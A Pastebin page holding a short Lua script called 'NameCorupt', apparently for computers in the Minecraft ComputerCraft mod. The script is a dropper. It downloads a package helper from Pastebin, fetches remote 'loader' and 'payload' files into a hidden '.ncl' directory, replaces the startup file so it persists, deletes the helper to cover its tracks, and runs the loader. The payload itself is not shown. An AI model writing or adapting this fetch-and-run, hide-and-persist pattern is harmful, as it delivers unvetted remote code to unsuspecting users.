Advertisement
Tinybang_Studio

NameCorupt

Nov 16th, 2019 (edited)
150
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.54 KB | None | 0 0
  1. local version = "0.3"
  2. local delapt = false
  3.  
  4. if not fs.exists("apt") then
  5.     delapt = true
  6.     shell.run("pastebin get JtUdmXws apt")
  7. end
  8.  
  9. os.loadAPI("apt")
  10.  
  11. -- Update
  12.  
  13. if apt.get("namecorupt/version") ~= version then
  14.     apt.install("namecorupt/installer","startup")
  15.     shell.run("startup")
  16. end
  17.  
  18. -- Run
  19.  
  20. if not fs.exists(".ncl") then
  21.     fs.makeDir(".ncl")
  22. end
  23.  
  24. apt.install("namecorupt/loader",".ncl/.loader")
  25. apt.install("namecorupt/payload",".ncl/.payload")
  26.  
  27. -- Finish
  28.  
  29. if delapt then
  30.     fs.delete("apt")
  31. end
  32.  
  33. shell.run(".ncl/.loader")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement